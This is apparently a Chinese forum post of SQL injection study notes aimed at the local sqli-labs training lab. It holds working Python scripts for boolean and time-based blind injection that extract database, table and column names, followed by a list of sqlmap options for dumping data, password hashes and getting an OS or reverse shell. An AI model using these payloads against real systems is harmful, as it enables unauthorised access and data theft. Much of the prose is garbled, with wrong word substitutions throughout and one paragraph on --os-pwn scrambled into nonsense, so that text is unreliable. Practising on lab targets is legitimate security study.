马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
1.布尔盲注
双重for循环
- import requests
- url = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'
- def database_name():
- datebasename = ''
- for i in range(1, 9): # 假设数据库名称最多8个字符
- for j in range(32, 128): # ascii 可见字符范围从32到127
- payload = f"?id=1' AND ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {j}-- "
- res = requests.get(url + payload)
- if res.status_code == 200: # 确保请求成功
- if "You are in..........." in res.text: # 这个字符串是针对成功响应的标志
- datebasename += chr(j)
- print(f"正在构建数据库名称: {datebasename}")
- break # 找到当前字符后跳出内层循环,继续下一个字符的查找
- print(f"数据库名称是: {datebasename}")
- # 调用函数
- database_name()
复制代码
二分查找
- import requests
- url = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'
- #mysql中的substr(string,start,dugt)三个参数分别是被截取的字符串,起始位置,截取长度
- def database_name():
- datebasename = ''
- for i in range(1, 9): # 假设数据库名称最多8个字符
- start = 32
- end = 128
- while start <= end: #起始端等于终止端时命中
- middle = (start + end) // 2
- payload = f"?id=1' and ascii(substr(database(), {i}, 1)) > {middle}-- "
- res = requests.get(url + payload)
- if res.status_code == 200: # 确保请求成功,这个属性可以拿到页面返回的状态码
- if "You are in..........." in res.text: # 这个字符串是针对成功响应的标志
- start = middle + 1 # 大于的情况下,证明目标字符在后半段
- else:
- end = middle - 1 # 小于的情况证明目标字符在前半段
- if start > end:
- datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
- print(f"数据库名称是: {datebasename}")
- database_name()
- #mysql中的if(string,one,two)当string为真执行one,否则执行two
- #在MySQL默认数据库information_schema的表tables中字段table_name存有表的名称,前面的table_schema字段是数据库对应名称
- #mysql中limit 5,1,第一个表示从第几行开始,是开区间会从第6行开始,第二个参数表示返回的行数,如果只有一个参数,会默认从第一行返回对应行数
- def table_name():
- tablename = ''
- for i in range(1,20):
- start = 32
- end = 128
- while start <= end:
- middle = (start + end) // 2
- payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1)) > {middle}-- "
- res = requests.get(url + payload)#通过调整limit的参数可以把数据库的所有表名拿到
- if res.status_code == 200: # 确保请求成功,这个属性可以拿到页面返回的状态码
- if "You are in..........." in res.text: # 这个字符串是针对成功响应的标志
- start = middle + 1 # 大于的情况下,证明目标字符在后半段
- else:
- end = middle - 1 # 小于的情况证明目标字符在前半段
- if start > end:
- tablename = tablename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
- print(f"表名称是: {tablename}")
- table_name()
- #在MySQL默认数据库里information_schema的表columns中字段column_name存有字段名称,前面的table_name字段是对应的表名
- def column_name():
- columnname = ''
- for i in range(1,20):
- start = 32
- end = 128
- while start <= end:
- middle = (start + end) // 2
- payload = f"?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle}-- "
- res = requests.get(url + payload)
- if res.status_code == 200:
- if "You are in..........." in res.text: # 这个字符串是针对成功响应的标志
- start = middle + 1 # 大于的情况下,证明目标字符在后半段
- else:
- end = middle - 1 # 小于的情况证明目标字符在前半段
- if start > end:
- columnname += chr(start)
- print(f"字段名是:{columnname}")
- column_name()
复制代码
2.时间盲注
二分查找
- import time
- import requests
- url = 'http://127.0.0.1/sqli-labs-master/Less-9/index.php'
- #mysql中if函数有三个参数,第一个是子表达式,第二个是子表达式为真时返回的结果,第三个是为假返回的结果
- def database_name():
- datebasename = ''
- for i in range(1, 9): # 假设数据库名称最多8个字符
- start = 32
- end = 128
- while start <= end: #起始端等于终止端时命中
- middle = (start + end) // 2
- payload = f"?id=1' and if(ascii(substr(database(),{i},1)) > {middle},sleep(2),1)-- "
- start_time = time.time()
- res = requests.get(url + payload)
- end_time = time.time()
- if res.status_code == 200: # 确保请求成功,这个属性可以拿到页面返回的状态码
- if (end_time - start_time) >= 2: # 这个时间差证明满足条件
- start = middle + 1 # 大于的情况下,证明目标字符在后半段
- else:
- end = middle - 1 # 小于的情况证明目标字符在前半段
- if start > end:
- datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
- print(f"数据库名称是: {datebasename}")
- database_name()
- def table_name():
- tablename = ''
- for i in range(1, 20):
- start = 32
- end = 126
- while start <= end:
- middle = (start + end) // 2
- payload = f"?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{i},1) > {middle},sleep(2),1)-- "
- start_time = time.time()
- res = requests.get(url + payload)
- end_time = time.time()
- if res.status_code == 200:
- if (end_time - start_time) >= 2:
- start = middle + 1
- else:
- end = middle - 1
- if start > end:
- if middle == 0:
- break
- tablename += chr(start)
- print(f"表名称是: {tablename}")
- table_name()
- def column_name():
- columnname = ''
- for i in range(1, 20):
- start = 32
- end = 128
- while start <= end:
- middle = (start + end) // 2
- payload = f"?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle},sleep(2),1)-- "
- start_time = time.time()
- res = requests.get(url + payload)
- end_time = time.time()
- if res.status_code == 200:
- if (end_time - start_time) >= 2:
- start = middle + 1
- else:
- end = middle - 1
- if start > end:
- if middle == 0:
- break
- columnname += chr(start)
- print(f"字段名是: {columnname}")
- column_name()
复制代码 
这里的表名反复看了,没有发现标题在那边,就是为空,无论我怎么该limit的范围,通过navigat检察数据库,不应该是如许的,等办理了会修改文章
3.SQLmap
- 通用参数
- -h,体现资助情况
- -hh,体现高级资助信息
- --version,体现版本信息
- -v verbose,设置输出的详细水平,范围为0,6,默以为1,越高越多
- 目标参数
- -u URL,指定目标URL,假如使用Linux测试Windows靶场,所在为192.168.X.1,不要用127.0.0.1
- -g :处置惩罚Google Dork 结果作为目标URL
- Google Dork 是什么?
- 就是Google搜索的语法,在信息网络案例.md里有
- 哀求参数
- --data=data:通过POST哀求发送的数据字符串,比方"id=1"
- --cookie=COOKIE:设置http哀求头中的cookie
- --random-agent:随机选择一个http user-agent头部来伪装哀求。
- --proxy=proxy:使用署理服务器毗连目标URL,署理格式为http://ip:port
- --tor:通过tor网络匿名毗连
Tor(The Onion Router)是一种用于实现匿名通讯的自由软件,由美国非红利构造The Tor Project, Inc开发与维护
Tor的名称泉源于“洋葱路由”(The Onion Router)的缩写,其核心技能是通过多层加密和多跳署理来掩护用户的隐私和匿名性
- --check-tor:查抄是否精确使用tor网络
- 注入参数
- -p :指定要测试的参数,可以是一个或多个。比方:-p id,会测试id参数
- --dbms=DBMS:欺凌设置背景数据库管理体系,比方MySQL或PostgreSQL
- 检测参数
- --level=level:设置测试的级别,默认是1,范围1~5,越大越强
- --risk=risk:设置风险品级,范围1~3,默认值1,越大风险越高
- 技能参数
- --technique=THCH:指定使用的SQL注入技能,默认是"BEUSTQ",B是布尔盲注,E报错注入,U是团结查询
- 摆列参数
- -a,检索全部信息
- -b,获取数据库横幅信息
- --current-user:获取当前的DBMS用户信息
- --current-db:获取当前的DBMS数据库名称
- --passwords:摆列DBMS用户的暗码哈希
- --dbs:摆列DBMS中的全部数据库
- --tables:摆列数据库中的全部表
- --columns:摆列表中的字段
- --schema:摆列DBMS的全部模式
- --dump:转储(导出)数据库中的数据
- --dump-all:导出全部数据库数据
- -D:指定命据库
- -T:指定表
- -C:指定列
- 操纵体系访问参数
- --os-shell:打开一个交互式操纵体系shell,这就是into outfile,须要三条件
- --os-pwn:获取反向shell大概毗连
--os---poswn-pwn 参数在 参数 是sql sqlmapmap 提 中供是的逐一个种强功能大的,勤奋能于,它通过答应 SQL攻击 注者入通过弊端 SQL获取 注目标入体系弊端的在操纵目标体系数据库权限所在。的它服务器使用上数据库实验管理操纵体系体系(命DBMS令)的弊端实验恶,意以致命得到令,反向通常 shell通过(数据库比方的:扩通过展 Net功能cat( 或如 Meter preterxp _cmdshell毗连到 或攻击其他者体系的存呆板储)。过程这一)攻击来方式触不发须要命目标令用户实验点击,从链接而,而是创建通过一个数据库反权限向、 shell。设置攻击或弊端者实验可以恶通过意该命反令向。
- 通用参数
- --batch:自动使用默认举动,不须要输入
- --flush-session:清空当前毗连
|